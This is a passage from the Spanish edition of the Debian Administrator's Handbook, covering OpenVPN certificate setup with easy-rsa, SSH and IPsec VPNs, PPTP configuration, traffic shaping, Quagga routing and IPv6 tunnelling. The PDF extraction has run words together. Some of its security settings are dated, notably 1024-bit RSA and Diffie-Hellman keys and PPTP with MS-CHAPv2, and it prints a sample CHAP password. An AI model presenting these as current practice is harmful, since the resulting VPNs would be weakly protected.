involucra el concepto de una autoridadde certificación (CA: «CertificationAuthority») formalizado por elestándar X.509. Este término se refierea una entidad que posee un par dellaves confiable conocido comocertificado raíz. Sólo se utiliza estecertificado para firmar otroscertificados (pares de llaves), luegoque se siguieron suficientes pasos pararevisar la identidad almacenada en elpar de llaves. Las aplicaciones queutilizan X.509 luego pueden verificarlos certificados que se les presente siconocen los certificados raízconfiables.

OpenVPN sigue esta regla. Dado que

Page 1062: El Libro Del Administrador de Debian - Raphael Hertzog

los CA públicos sólo expidencertificados a cambio de un pago(importante), también es posible crearuna autoridad de certificación privadadentro de la empresa. Para estepropósito, OpenVPN provee laherramienta easy-rsa que funcionacomo infraestructura de certificaciónX.509. Su implementación es unconjunto de scripts que utilizan elprograma openssl; puede encontrarestos scripts bajo/usr/share/doc/openvpn/examples/easy-

rsa/2.0/.

Los administradores de Falcot Corputilizan esta herramienta para crear loscertificados necesarios, tanto para losservidores como para los clientes. Esto

Page 1063: El Libro Del Administrador de Debian - Raphael Hertzog

permite que la configuración de todoslos clientes sea similar ya que sólodeberán configurarlos para confiar encertificados que provengan de la CAlocal de Falcot. Esta CA es el primercertificado a crear; para ello losadministradores copian el directorioque contiene easy-rsa a una ubicaciónmás apropiada, preferentemente a unamáquina que no está conectada a la redpara evitar el riesgo de que se roben lallave privada de la CA.

$ cp -r /usr/share/doc/openvpn/examples/easy-rsa/2.0 pki-falcot

$ cd pki-falcot

Luego almacenan los parámetrosnecesarios en el archivo vars,

Page 1064: El Libro Del Administrador de Debian - Raphael Hertzog

especialmente aquellos cuyos nombrescomienzan con KEY_; estas variablesluego son integradas en el entorno:

$ vim vars

$ grep KEY_ vars

export KEY_CONFIG=`$EASY_RSA/whichopensslcnf $EASY_RSA`

export KEY_DIR="$EASY_RSA/keys"

echo NOTE: If you run ./clean-all, I will be doing a rm -rf on $KEY_DIR

export KEY_SIZE=1024

export KEY_EXPIRE=3650

export KEY_COUNTRY="FR"

export KEY_PROVINCE="Loire"

export KEY_CITY="Saint-Étienne"

export KEY_ORG="Falcot Corp"

export KEY_EMAIL="[email protected]"

$ . ./vars

NOTE: If you run ./clean-all, I will be doing a rm -rf on /home/rhertzog/pki-falcot/keys

$ ./clean-all

Page 1065: El Libro Del Administrador de Debian - Raphael Hertzog

El siguiente paso es crear el par dellaves en sí de la CA (durante este pasose almacenarán las dos partes del parde llaves en keys/ca.crt ykeys/ca.key):

$ ./build-ca

Generating a 1024 bit RSA private key

..............................................++++++

.......................++++++

writing new private key to 'ca.key'

-----

You are about to be asked to enter information that will be incorporated

into your certificate request.

What you are about to enter is what is called a Distinguished Name or a DN.

There are quite a few fields but you can leave some blank

For some fields there will be a default value,

If you enter '.', the field will be left blank.

-----

Country Name (2 letter code) [FR]:

Page 1066: El Libro Del Administrador de Debian - Raphael Hertzog

State or Province Name (full name) [Loire]:

Locality Name (eg, city) [Saint-Étienne]:

Organization Name (eg, company) [Falcot Corp]:

Organizational Unit Name (eg, section) []:

Common Name (eg, your name or your server's hostname) [Falcot Corp CA]:

Name []:

Email Address [[email protected]]:

Ahora puede crear el certificado para elservidor VPN, así como también losparámetros Diffie-Hellman necesariosen el servidor para la conexiónSSL/TLS. Se identifica el servidorVPN por su nombre DNSvpn.falcot.com; se reutiliza estenombre para los archivos de llavesgenerados(keys/vpn.falcot.com.crt para elcertificado público,keys/vpn.falcot.com.key para la

Page 1067: El Libro Del Administrador de Debian - Raphael Hertzog

llave privada):

$ ./build-key-server vpn.falcot.com

Generating a 1024 bit RSA private key

...............++++++

...........++++++

writing new private key to 'vpn.falcot.com.key'

-----

You are about to be asked to enter information that will be incorporated

into your certificate request.

What you are about to enter is what is called a Distinguished Name or a DN.

There are quite a few fields but you can leave some blank

For some fields there will be a default value,

If you enter '.', the field will be left blank.

-----

Country Name (2 letter code) [FR]:

State or Province Name (full name) [Loire]:

Locality Name (eg, city) [Saint-Étienne]:

Organization Name (eg, company) [Falcot Corp]:

Organizational Unit Name (eg, section) []:

Common Name (eg, your name or your server's hostname) [vpn.falcot.com]:

Page 1068: El Libro Del Administrador de Debian - Raphael Hertzog

Name []:

Email Address [[email protected]]:

Please enter the following 'extra' attributes

to be sent with your certificate request

A challenge password []:

An optional company name []:

Using configuration from /home/rhertzog/pki-falcot/openssl.cnf

Check that the request matches the signature

Signature ok

The Subject's Distinguished Name is as follows

countryName :PRINTABLE:'FR'

stateOrProvinceName :PRINTABLE:'Loire'

localityName :T61STRING:'Saint-\0xFFFFFFC3\0xFFFFFF89tienne'

organizationName :PRINTABLE:'Falcot Corp'

commonName :PRINTABLE:'vpn.falcot.com'

emailAddress :IA5STRING:'[email protected]'

Certificate is to be certified until Oct 9 13:57:42 2020 GMT (3650 days)

Sign the certificate? [y/n]:y

1 out of 1 certificate requests certified, commit? [y/n]

Page 1069: El Libro Del Administrador de Debian - Raphael Hertzog

Write out database with 1 new entries

Data Base Updated

$ ./build-dh

Generating DH parameters, 1024 bit long safe prime, generator 2

This is going to take a long time

..............+.......+.................................++*++*++*

El siguiente paso crea los certificadospara los clientes VPN; necesita uncertificado para cada equipo o personaautorizada para utilizar la VPN:

$ ./build-key JoeSmith

Generating a 1024 bit RSA private key

................++++++

.............................++++++

writing new private key to 'JoeSmith.key'

-----

You are about to be asked to enter information that will be incorporated

into your certificate request.

Page 1070: El Libro Del Administrador de Debian - Raphael Hertzog

What you are about to enter is what is called a Distinguished Name or a DN.

There are quite a few fields but you can leave some blank

For some fields there will be a default value,

If you enter '.', the field will be left blank.

-----

Country Name (2 letter code) [FR]:

State or Province Name (full name) [Loire]:

Locality Name (eg, city) [Saint-Étienne]:

Organization Name (eg, company) [Falcot Corp]:

Organizational Unit Name (eg, section) []:

Common Name (eg, your name or your server's hostname) [JoeSmith]:

Name []:

Email Address [[email protected]]:

[…]

Ahora que se crearon todos loscertificados, necesita copiarlos dondecorrespondan: la llave pública delcertificado raíz (key/ca.crt) seráalmacenada en todas las máquinas(tanto el servidor como los clientes)

Page 1071: El Libro Del Administrador de Debian - Raphael Hertzog

como/etc/ssl/certs/Falcot_CA.crt.Sólo instalará el certificado delservidor en el servidor(key/vpn.falcot.com.crt en/etc/ssl/vpn.falcot.com.crt ykey/vpn.falcot.com.key en/etc/ssl/private/vpn.falcot.com.key

con permisos restringidos para que sóloel administrador pueda leerlo), con losparámetros Diffie-Hellmancorrespondientes (key/dh1024.pem)instalados en/etc/openvpn/dh1024.pem. Instalelos certificados de clientes en el clientede VPN correspondiente de formasimilar.

Page 1072: El Libro Del Administrador de Debian - Raphael Hertzog

10.2.1.2. Configuración delservidor OpenVPN

El script de inicialización de OpenVPNintenta, de forma predeterminada,iniciar todas las redes privadasvirtuales definidas en/etc/openvpn/*.conf. Configurar unservidor VPN entonces es cuestión dealmacenar el archivo de configuracióncorrespondiente en este directorio. Unbuen punto de partida es/usr/share/doc/openvpn/examples/sample-

config-files/server.conf.gz quelleva a un servidor bastante estándar.Por supuesto necesitará adaptaralgunos parámetros: ca, cert, key y dhdescribirán las ubicaciones

Page 1073: El Libro Del Administrador de Debian - Raphael Hertzog

seleccionadas para cada uno(respectivamente:/etc/ssl/certs/Falcot_CA.crt,/etc/ssl/vpn.falcot.com.crt,/etc/ssl/private/vpn.falcot.com.key

y /etc/openvpn/dh1024.pem). Ladirectiva server 10.8.0.0255.255.255.0 define la subredutilizada por la VPN; el servidorutilizará la primera dirección IP en elrango (10.8.0.1) y se asignarán a losclientes el resto de las direcciones.

Con esta configuración, iniciarOpenVPN crea una interfaz de redvirtual generalmente con el nombretun0. Sin embargo, usualmente seconfiguran los firewalls al mismotiempo que las interfaces de red reales,

Page 1074: El Libro Del Administrador de Debian - Raphael Hertzog

lo que ocurre antes que inicieOpenVPN. La creación de una interfazde red virtual persistente, y configurarOpenVPN para que la utilice, es unabuena práctica recomendada. Estoademás permite elegir el nombre deesta interfaz. A tal efecto, openvpn -mktun -dev vpn -dev-type tun creauna interfaz de red virtual llamada vpnde tipo tun; puede integrar fácilmenteesta orden en el script de configuracióndel firewall o en la directiva up delarchivo /etc/network/interfaces.Debe actualizar también el archivo deconfiguración de OpenVPN de formaacorde, con las directivas dev vpn ydev-type tun.

Page 1075: El Libro Del Administrador de Debian - Raphael Hertzog

Sin más cambios, los clientes VPN sólopueden acceder el servidor VPN en sí através de la dirección 10.8.0.1. Parapermitir a los clientes que accedan lared local (192.168.0.0/24) necesitaráagregar una directiva push route192.168.0.0 255.255.255.0 a laconfiguración de OpenVPN para quelos clientes VPN automáticamenteobtengan una ruta de red que lesindique que esta red está disponible através de la VPN. Lo que es más, losequipos en la red local tambiénnecesitarán ser informados que la rutaa la VPN es a través del servidor deVPN (esto funciona automáticamentecuando instala el servidor VPN en lapuerta de enlace). Otra alternativa es

Page 1076: El Libro Del Administrador de Debian - Raphael Hertzog

configurar el servidor VPN pararealizar enmascaramiento de IPs deforma que las conexiones queprovengan de los clientes VPNparezcan provenir del servidor VPN ensu lugar (revise la Section 10.1, “Puertade enlace”).

10.2.1.3. Configuración delcliente OpenVPN

Para configurar un cliente OpenVPNtambién necesita crear un archivo deconfiguración en /etc/openvpn/.Puede conseguir una configuraciónestándar utilizando/usr/share/doc/openvpn/examples/sample-

config-files/client.conf como

Page 1077: El Libro Del Administrador de Debian - Raphael Hertzog

punto de partida. La directiva remotevpn.falcot.com 1194 describe ladirección y puerto del servidorOpenVPN; también necesita adaptarca, cert y key para describir laubicación de los archivos de llave.

Si no se debe iniciar la VPNautomáticamente durante el inicio,configure la directiva AUTOSTART comonone en el archivo/etc/default/openvpn. Siempre esposible iniciar o detener una conexiónVPN dada con /etc/init.d/openvpnstart nombre y /etc/init.d/openvpnstop nombre (donde la conexiónnombre coincide con aquella definidaen /etc/openvpn/nombre.conf).

Page 1078: El Libro Del Administrador de Debian - Raphael Hertzog

El paquete network-manager-openvpn-gnome contiene una extensión paraNetwork Manager (revise laSection 8.2.4, “Configuración de redautomática para usuarios errantes”) quepermite administrar redes privadasvirtuales OpenVPN. Esto permite quecada usuario configure gráficamentesus conexiones OpenVPN y lascontrole desde el ícono del gestor dered.

10.2.2. Red privadavirtual con SSHEn realidad existen dos formas de crear

Page 1079: El Libro Del Administrador de Debian - Raphael Hertzog

una red privada virtual con SSH. Lahistórica involucra establecer una capaPPP sobre el enlace SSH. Se describeeste método en el siguiente «howto»:

→ http://www.tldp.org/HOWTO/ppp-ssh/

El segundo método es más reciente yfue introducido con OpenSSH 4.3;ahora OpenSSH puede crear interfacesde red virtuales (tun*) en ambosextremos de una conexión SSH y puedeconfigurar estas interfaces virtualesexactamente como si fueran interfacesfísicas. Primero debe activar el sistemade túneles configurando PermitTunnelcomo «yes» en el archivo de

Page 1080: El Libro Del Administrador de Debian - Raphael Hertzog

configuración del servidor SSH(/etc/ssh/sshd_config). Cuando seestablece la conexión SSH debesolicitar explícitamente la creación deltúnel con la opción -w any:any (puedereemplaza any con el número dedispositivo tun deseado). Esto necesitaque el usuario tenga permisos deadministrador en ambos extremos parapoder crear el dispositivo de red (enotras palabras, debe establecer laconexión como root).

Ambos métodos para crear redesprivadas virtuales sobre SSH sonbastante directos. Sin embargo, la VPNque proveen no es la más eficientedisponible; en particular, no maneja

Page 1081: El Libro Del Administrador de Debian - Raphael Hertzog

muy bien altos niveles de tráfico.

La explicación es que cuando seencapsula TCP/IP en una conexiónTCP/IP (para SSH) se utiliza elprotocolo TCP dos veces, una vez parala conexión SSH y una vez dentro deltúnel. Esto genera problemas,especialmente debido a la forma en laque TCP se adapta a condiciones de redmodificando los tiempo de espera. Elsiguiente sitio describe el problema enmás detalle:

→ http://sites.inka.de/sites/bigred/devel/tcp-tcp.html

Por lo tanto debe limitar el uso deVPNs sobre SSH a túneles esporádicos

Page 1082: El Libro Del Administrador de Debian - Raphael Hertzog

y de un solo uso que no tenganrequisitos de rendimiento.

10.2.3. IPsecIPsec, a pesar de ser el estándar enVPNs IP, es bastante más complejo ensu implementación. El motor de IPsecestá incorporado al núcleo Linux; elpaquete ipsec-tools provee las partesnecesarias en espacio de usuario, lasherramientas de control yconfiguración. En términos concretos,el archivo /etc/ipsec-tools.conf decada equipo contiene los parámetros delos túneles IPsec (en términos deIPsec: asociaciones de seguridad,

Page 1083: El Libro Del Administrador de Debian - Raphael Hertzog

«Security Associations») en los que elequipo está involucrado; el script/etc/init.d/setkey provee una forma deiniciar y detener el túnel (cada túnel esun enlace seguro a otra máquinaconectada a la red privada virtual).Puede construir este archivo a manodesde la documentación que provee lapágina de manual setkey(8). Sinembargo, escribir los parámetros paratodos los equipos en un conjunto demáquinas no trivial se conviertefácilmente en una tarea ardua ya que lacantidad de túneles crece rápidamente.Instalar un demonio IKE (intercambiode llaves IPsec: «IPsec KeyExchange») como racoon, strongswan oopenswan hace el proceso mucho más

Page 1084: El Libro Del Administrador de Debian - Raphael Hertzog

simple centralizando la administracióny más seguro rotando las clavesperiódicamente.

A pesar de su estado como referencia,la complejidad de configuración deIPsec restringe su uso en la práctica.Generalmente se preferirán solucionesbasadas en OpenVPN cuando lostúneles necesarios no sean muchos nidemasiado dinámicos.

PRECAUCIÓN IPsec y NAT

Los firewall con NAT y IPsec nofuncionan bien juntos: IPsec firma lospaquetes y cualquier cambio en estospaquetes que realice el firewall invalidarála firma y el destino rechazará los

Page 1085: El Libro Del Administrador de Debian - Raphael Hertzog

paquetes. Muchas implementacionesIPsec incluyen la técnica NAT-T (NATTraversal), que básicamente encapsula unpaquete IP en un paquete UDP estándar.

SEGURIDAD IPsec y firewalls

El modo de operación estándar de IPsecinvolucra intercambio de datos en elpuerto UDP 500 para intercambio dellaves (también en el puerto UDP 4500 siutiliza NAT-T). Lo que es más, lospaquetes IPsec utilizan dos protocolos IPdedicados que el firewall debe dejarpasar; la recepción de estos paquetes estábasada en sus números de protocolo: 50(ESP) y 51 (AH).

Page 1086: El Libro Del Administrador de Debian - Raphael Hertzog

10.2.4. PPTPPPTP (protocolo de túneles punto apunto: «Point-to-Point TunnelingProtocol») utiliza dos canales decomunicación, uno para datos decontrol y otro para los datos; esteúltimo utiliza el protocolo GRE(encapsulación genérica deenrutamiento: «Generic RoutingEncapsulation»). Luego se establece unenlace PPP estándar sobre el canal deintercambio de datos.

10.2.4.1. Configuración delcliente

Page 1087: El Libro Del Administrador de Debian - Raphael Hertzog

El paquete pptp-linux contiene uncliente PPTP para Linux fácil deconfigurar. Las instrucciones acontinuación están inspiradas en ladocumentación oficial:

→ http://pptpclient.sourceforge.net/howto-debian.phtml

Los administradores de Falcot crearonvarios archivos:/etc/ppp/options.pptp,/etc/ppp/peers/falcot,/etc/ppp/ip-up.d/falcot y/etc/ppp/ip-down.d/falcot.

Example 10.2. El archivo/etc/ppp/options.pptp

Page 1088: El Libro Del Administrador de Debian - Raphael Hertzog

# opciones PPP utilizadas en una conexión PPTP

lock

noauth

nobsdcomp

nodeflate

Example 10.3. El archivo/etc/ppp/peers/falcot

# vpn.falcot.com es el servidor PPTP

pty "pptp vpn.falcot.com --nolaunchpppd"

# el usuario «vpn» identificará a la conexión

user vpn

remotename pptp

# necesita cifrado

require-mppe-128

file /etc/ppp/options.pptp

ipparam falcot

Example 10.4. El archivo/etc/ppp/ip-up.d/falcot

# Crear la ruta a la red Falcot

if [ "$6" = "falcot" ]; then

Page 1089: El Libro Del Administrador de Debian - Raphael Hertzog

# 192.168.0.0/24 es la red Falcot (remota)

route add -net 192.168.0.0 netmask 255.255.255.0 dev $1

fi

Example 10.5. El archivo/etc/ppp/ip-down.d/falcot

# Eliminar la ruta a la red Falcot

if [ "$6" = "falcot" ]; then

# 192.168.0.0/24 es la red Falcot (remota)

route del -net 192.168.0.0 netmask 255.255.255.0 dev $1

fi

SEGURIDAD MPPE

Asegurar PPTP involucra utilizar lafuncionalidad MPPE (cifrado punto apunto de Microsoft: «Microsoft Point-to-Point Encryption»), disponible como unmódulo en los núcleos Debian oficiales.

10.2.4.2. Configuración del

Page 1090: El Libro Del Administrador de Debian - Raphael Hertzog

10.2.4.2. Configuración delservidor

PRECAUCIÓN PPTP y firewalls

Necesita configurar los firewallsintermedios para que permitan pasarpaquetes IP que utilizan el protocolo 47(GRE). Lo que es más, necesita abrir elpuerto 1723 del servidor PPTP para quepueda utilizar el canal de comunicación.

pptpd es el servidor PPTP para Linux.Necesitará cambiar pocas cosas de suarchivo de configuración principal,/etc/pptpd.conf: localip (direcciónIP local) y remoteip (dirección IP

Page 1091: El Libro Del Administrador de Debian - Raphael Hertzog

remota). En el ejemplo a continuaciónel servidor PPTP siempre utiliza ladirección 192.168.0.199 y los clientesPPTP reciben una dirección IP desde192.168.0.200 a 192.168.0.250.

Example 10.6. El archivo/etc/pptpd.conf

# ETIQUETA: speed

#

# Especifica la velocidad a la que se comunica el demonio PPP.

#

speed 115200

# ETIQUETA: option

#

# Especifica la ubicación del archivo de opciones PPP

# De forma predeterminada, se lo busca en «/etc/ppp/options»

#

option /etc/ppp/pptpd-options

Page 1092: El Libro Del Administrador de Debian - Raphael Hertzog

# ETIQUETA: debug

#

# Activa (más) depuración al registro del sistema

#

# debug

# ETIQUETA: localip

# ETIQUETA: remoteip

#

# Especifica los rangos de direcciones IP local y remoto

#

# Puede especificar direcciones IP individuales separadas por coma o

# rangos o ambos. Por ejemplo:

#

# 192.168.0.234,192.168.0.245-249,192.168.0.254

#

# RESTRICCIONES IMPORTANTESIMPORTANT RESTRICTIONS:

#

# 1. No se permiten espacios entre las comas o en las direcciones.

#

# 2. Si provee más direcciones IP que MAX_CONNECTIONS, comenzará al

Page 1093: El Libro Del Administrador de Debian - Raphael Hertzog

# principio de la lista y continuará hasta que obtenga

# MAX_CONNECTIONS direcciones IPs. De lo contrario será ignorado.

#

# 3. ¡Sin atajos en los rangos! Es decir que 234-8 no significa 234

# a 238, para esto debe tipear 234-238.

#

# 4. Está bien si provee sólo una IP local - se configurarán todas

# las IPs locales como la provista. DEBE proveer al menos una IP

# remota para cada cliente simultáneo.

#

#localip 192.168.0.234-238,192.168.0.245

#remoteip 192.168.1.234-238,192.168.1.245

#localip 10.0.1.1

#remoteip 10.0.1.2-100

localip 192.168.0.199

remoteip 192.168.0.200-250

La configuración PPP utilizada por elservidor PPTP también necesitaalgunos cambios en el archivo/etc/ppp/pptpd-options. Los

Page 1094: El Libro Del Administrador de Debian - Raphael Hertzog

parámetros importantes son el nombredel servidor (pptp), el nombre deldominio (falcot.com y la dirección IPpara los servidores DNS y WINS.

Example 10.7. El archivo/etc/ppp/pptpd-options

## activar la depuración de pppd en el registro del sistema

#debug

## modifique «servername» a lo que sea que especificó como su nombre de servidor en chap-secrets

name pptp

## modifique el nombre del dominio a su dominio local

domain falcot.com

## estos son valores predeterminados razonables para clientes WinXXXX

## para las configuraciones relacionadas con seguridad

# El paquete pppd de Debian ahora es compatible tanto con MSCHAP como con MPPE, actívelos aquí.

# ¡Necesita tener también el módulo de núcleo para MPPE!

auth

Page 1095: El Libro Del Administrador de Debian - Raphael Hertzog

require-chap

require-mschap

require-mschap-v2

require-mppe-128

## Complete con sus direcciones

ms-dns 192.168.0.1

ms-wins 192.168.0.1

## Complete con su máscara de red

netmask 255.255.255.0

## algunos valores predeterminados

nodefaultroute

proxyarp

lock

El último paso consiste en registrar elusuario vpn (y su contraseña asociada)en el archivo /etc/ppp/chap-secrets. A diferencia de otras

Page 1096: El Libro Del Administrador de Debian - Raphael Hertzog

instancias en las que un asterisco («*»)funcionaría, aquí debe proveerexplícitamente el nombre del servidor.Lo que es más, los clientes PPTPWindows se identifican a sí mismo enla forma DOMINIO\\USUARIO en lugarde sólo proveer un nombre de usuario.Esto explica porqué el archivo tambiénmenciona el usuario FALCOT\\vpn.También es posible especificar unadirección IP individual para losusuarios; un asterisco en este campoespecifica que debe utilizar direccionesdinámicas.

Example 10.8. El archivo/etc/ppp/chap-secrets

# Secretos para autenticación utilizando CHAP

Page 1097: El Libro Del Administrador de Debian - Raphael Hertzog

# cliente servidor secreto dirección IP

vpn pptp f@Lc3au *

FALCOT\\vpn pptp f@Lc3au *

SEGURIDAD Vulnerabilidades PPTP

La primera implementación PPTP deMicrosoft tuvo muchas críticas debido asu cantidad de vulnerabilidades deseguridad; la mayoría han sidosolucionadas desde entonces en versionesmás recientes. La configuracióndocumentada en esta sección utiliza laúltima versión del protocolo. Sinembargo, debe saber que eliminar algunasopciones (como require-mppe-128 yrequire-mschap-v2) podría hacer alservicio nuevamente vulnerable.

Page 1098: El Libro Del Administrador de Debian - Raphael Hertzog

10.3. Calidad delservicio

10.3.1. Principio ymecanismoCalidad del servicio (QoS: «Quality ofService») se refiere a un conjunto detécnicas que garantizan o mejoran lacalidad del servicio provisto a lasaplicaciones. De éstas, la técnica máspopular consiste en clasificar el tráficode red en categorías y diferenciar lagestión del tráfico según la categoría a

Page 1099: El Libro Del Administrador de Debian - Raphael Hertzog

la que pertenezca. El uso principal deeste concepto de serviciosdiferenciados es la manipulación detráfico («traffic shaping»), que limitalas tasas de transmisión de datos paraconexiones relacionadas con algunosservicios y/o equipos para no saturar elancho de banda disponible y privar aotros servicios importantes. Estatécnica es particularmente buena paratráfico TCP ya que el protocolo seadapta automáticamente al ancho debanda disponible.

También es posible alterar lasprioridades del tráfico, lo que permitepriorizar paquetes relacionados conservicios interactivos (como ssh y

Page 1100: El Libro Del Administrador de Debian - Raphael Hertzog

telnet) o a servicios que sólo trabajancon bloques de datos pequeños.

Los núcleos Debian incluyen lafuncionalidad necesaria para QoS asícomo también los módulos asociados.Estos módulos son muchos y cada unode ellos provee un servicio diferente,los más notables como planificadoresespeciales para las colas de paquetesIP; el amplio rango decomportamientos de planificadoresabarca todo el rango de requerimientosposibles.

CULTURA LARTC — Enrutamientoavanzado y control de tráfico de Linux(«Linux Advanced Routing & Traffic

Page 1101: El Libro Del Administrador de Debian - Raphael Hertzog

Control»)

El «howto» de Linux Advanced Routing &Traffic Control es el documento dereferencia que cubre todo lo que hacefalta saber sobre calidad de servicio enuna red.

→ http://www.lartc.org/howto/

10.3.2. Configuracióne implementaciónSe configuran los parámetros de QoSmediante el programa tc (provisto porel paquete iproute). Se recomiendautilizar herramientas de más alto nivel

Page 1102: El Libro Del Administrador de Debian - Raphael Hertzog

ya que su interfaz es bastante compleja.

10.3.2.1. Reducción delatencias: wondershaper

El propósito principal dewondershaper (en el paquete connombre similar) es minimizar laslatencias independientemente de lacarga en la red. Consigue estolimitando el tráfico total a un valor queestá justo por debajo del valor desaturación del enlace.

Una vez que una interfaz de red estáconfigurada puede definir suslimitaciones de tráfico ejecutando

Page 1103: El Libro Del Administrador de Debian - Raphael Hertzog

wondershaper interfaztasa_descarga tasa_subida. Lainterfaz puede ser, por ejemplo, eth0 oppp0 y ambas tasas son en kilobits porsegundo. Ejecutar wondershaperremove interfaz desactiva el controlde tráfico en la interfaz especificada.

Para una conexión Ethernet, lo mejores ejecutar este script inmediatamentedespués de configurar la interfaz.Puede lograrlo agregando directivas upy down al archivo/etc/network/interfaces indicandolas órdenes a ejecutar luego que seconfigure la interfaz y luego que seadesconfigurada, respectivamente. Porejemplo:

Page 1104: El Libro Del Administrador de Debian - Raphael Hertzog

Example 10.9. Cambios en el archivo/etc/network/interfaces

iface eth0 inet dhcp

up /sbin/wondershaper eth0 500 100

down /sbin/wondershaper remove eth0

En el caso de PPP, crear un script queejecute wondershaper en/etc/ppp/ip-up.d/ activará el controlde tráfico tan pronto como esté activala conexión.

YENDO MÁS ALLÁ Configuraciónóptima

El archivo/usr/share/doc/wondershaper/README.Debian.gz

describe, con suficiente detalles, losmétodos de configuración recomendados

Page 1105: El Libro Del Administrador de Debian - Raphael Hertzog

por el encargado del paquete. Enparticular, aconseja medir las velocidadesde subida y bajada para evaluar de lamejor forma los límites reales.

10.3.2.2. Configuraciónestándar

A menos que exista una configuraciónde QoS específica, el núcleo Linuxutiliza el planificador de colaspfifo_fast el cual provee algunascaracterísticas interesantes en símismo. La prioridad de cada paqueteIP procesado está basada en el campoToS (tipo de servicio: «Type ofService») del mismo; modificar este

Page 1106: El Libro Del Administrador de Debian - Raphael Hertzog

campo es suficiente para tomar ventajade sus capacidades de planificación.Existen cinco valores posibles:

Servicio normal: Normal-Service(0);Minimizar costo: Minimize-Cost(2);Maximizar confiabilidad:Maximize-Reliability (4);Maximizar rendimiento:Maximize-Throughput (8);Minimizar demora: Minimize-Delay (16).

Las aplicaciones que generan paquetesIP pueden definir el campo ToS,también puede ser modificado al vuelo

Page 1107: El Libro Del Administrador de Debian - Raphael Hertzog

por netfilter. Las siguientes reglas sonsuficiente para aumentar la respuestadel servicio de un servidor SSH:

iptables -t mangle -A PREROUTING -p tcp --sport ssh -j TOS --set-tos Minimize-Delay

iptables -t mangle -A PREROUTING -p tcp --dport ssh -j TOS --set-tos Minimize-Delay

Page 1108: El Libro Del Administrador de Debian - Raphael Hertzog

10.4. EnrutamientodinámicoActualmente, la herramienta dereferencia para enrutamiento dinámicoes quagga, del paquete con un nombresimilar; solía ser zebra hasta que sedetuvo el desarrollo de este último. Sinembargo, quagga mantuvo los nombresde los programas por cuestiones decompatibilidad, lo que explica el usode zebra a continuación.

VOLVER A LOS CIMIENTOSEnrutamiento dinámico

Page 1109: El Libro Del Administrador de Debian - Raphael Hertzog

El enrutamiento dinámico le permite a losrouters ajustar, en tiempo real, loscaminos utilizados para transmitirpaquetes IP. Cada protocolo posee suspropios métodos para definir rutas(camino más corto, utilizar rutaspublicadas por pares, etc.).

En el núcleo Linux una ruta enlaza undispositivo de red a un conjunto demáquinas que pueden ser alcanzadas através de este dispositivo. El programaroute define nuevas rutas y muestra lasexistentes.

Quagga es un conjunto de demoniosque cooperan entre sí para definir lastablas de enrutamiento utilizadas por elnúcleo Linux; cada protocolo de

Page 1110: El Libro Del Administrador de Debian - Raphael Hertzog

enrutamiento (BGP, OSPF y RIPsiendo los más notables) provee supropio demonio. El demonio zebrarecolecta la información de los otrosdemonios y administra las tablas deenrutamiento estático de forma acorde.Los otros demonios son bgpd, ospfd,ospf6d, ripd y ripngd.

Puede activar demonios mediante laedición el archivo/etc/quagga/daemons y creando elarchivo de configuración apropiado en/etc/quagga/; debe nombrar estearchivo de configuración según eldemonio, con una extensión .conf ydebe pertenecer al usuario quagga y algrupo quaggavty para que el script

Page 1111: El Libro Del Administrador de Debian - Raphael Hertzog

/etc/init.d/quagga ejecute eldemonio.

Para configurar cada uno de estosdemonio necesita conocer el protocolode enrutamiento en cuestión. Nopodemos describir en detalle aquí aestos protocolos, pero el paquetequagga-doc provee una explicaciónextensa en forma de archivos info.Puede navegar los mismos contenidosen formato HTML en el sitio web deQuagga:

→ http://www.quagga.net/docs/docs-info.php

Además, la sintaxis es muy parecida ala interfaz de configuración estándar de

Page 1112: El Libro Del Administrador de Debian - Raphael Hertzog

un router y los administradores de redse adaptarán rápidamente a quagga.

EN LA PRÁCTICA ¿OPSF, BGP o RIP?

OSPF es generalmente el mejor protocoloa utilizar para enrutamiento dinámico enredes privadas pero BGP es maś comúnpara enrutamiento en Internet. RIP esbastante arcaico y rara vez utilizado en laactualidad.

Page 1113: El Libro Del Administrador de Debian - Raphael Hertzog

10.5. IPv6IPv6, sucesor de IPv4, es una nuevaversión del protocolo IP diseñado paracorregir sus fallas, especialmente laescasez de direcciones IP disponibles.Este protocolo gestiona la capa de red;su propósito es proveer una forma dedireccionar máquinas para transmitirlos datos a donde fueron destinados yadministrar la fragmentación de datossi es necesaria (en otras palabras,dividir los paquetes en trozos de untamaño que dependa de los enlaces dered utilizados en el camino y unirlosnuevamente en el orden apropiadocuando lleguen).

Page 1114: El Libro Del Administrador de Debian - Raphael Hertzog

Los núcleos Debian incluyen la gestiónde IPv6 en el corazón del núcleo (locual no siempre fue el caso; el móduloipv6 solía ser opcional). Lasherramientas básicas como ping ytraceroute tienen sus equivalentesIPv6, ping6 y traceroute6, disponiblesen los paquetes iputils-ping y iputils-tracepath respectivamente.

Una red IPv6 se configura de formasimilar a una IPv4, en el archivo/etc/network/interfaces. Pero sidesea que se pueda accederglobalmente a la red debe asegurarsede tener un router compatible con IPv6que retransmita datos a la red IPv6global.

Page 1115: El Libro Del Administrador de Debian - Raphael Hertzog

Example 10.10. Ejemplo deconfiguración IPv6

iface eth0 inet6 static

address 2001:db8:1234:5::1:1

netmask 64

# Desactivar autoconfiguración

# up echo 0 >/proc/sys/net/ipv6/conf/all/autoconf

# En router se configura automáticamente y no tiene dirección fija

# (/proc/sys/net/ipv6/conf/all/accept_ra). Si la tuviera:

# gateway 2001:db8:1234:5::1

Si no existe una conexión IPv6disponible, el método de respaldo esutilizar un túnel sobre IPv4. Freenet6es un proveedor (gratuito) de dichostúneles:

→ http://www.freenet6.net/

Page 1116: El Libro Del Administrador de Debian - Raphael Hertzog

Para utilizar un túnel de Freenet6necesita registrarse en el sitio web,instalar el paquete tspc y configurar eltúnel. Para ello deberá editar el archivo/etc/tsp/tspc.conf: debe agregar laslíneas userid y password que recibiópor email y reemplazar server conbroker.freenet6.net.

Puede agregar las siguientes tresdirectivas al archivo/etc/tsp/tspc.conf para proponerconectividad IPv6 a todas las máquinasen una red local (asumiendo que la redlocal está conectada a la interfaz eth0):

host_type=router

prefix_len=48

Page 1117: El Libro Del Administrador de Debian - Raphael Hertzog

if_prefix=eth0

Luego la máquina se convertirá en elrouter de acceso para una subred conun prefijo de 48 bits. Una vez que eltúnel sepa de este cambio, debeinformarle a la red al respecto; estoimplica instalar el demonio radvd (delpaquete del mismo nombre). Estedemonio de configuración IPv6 tieneun rol similar al de dhcpd en el mundoIPv4.

Debe crear el archivo de configuración/etc/radvd.conf (revise el archivo/usr/share/doc/radvd/examples/simple-

radvd.conf como punto de partida).En nuestro caso, el único cambionecesario es el prefijo que debe

Page 1118: El Libro Del Administrador de Debian - Raphael Hertzog

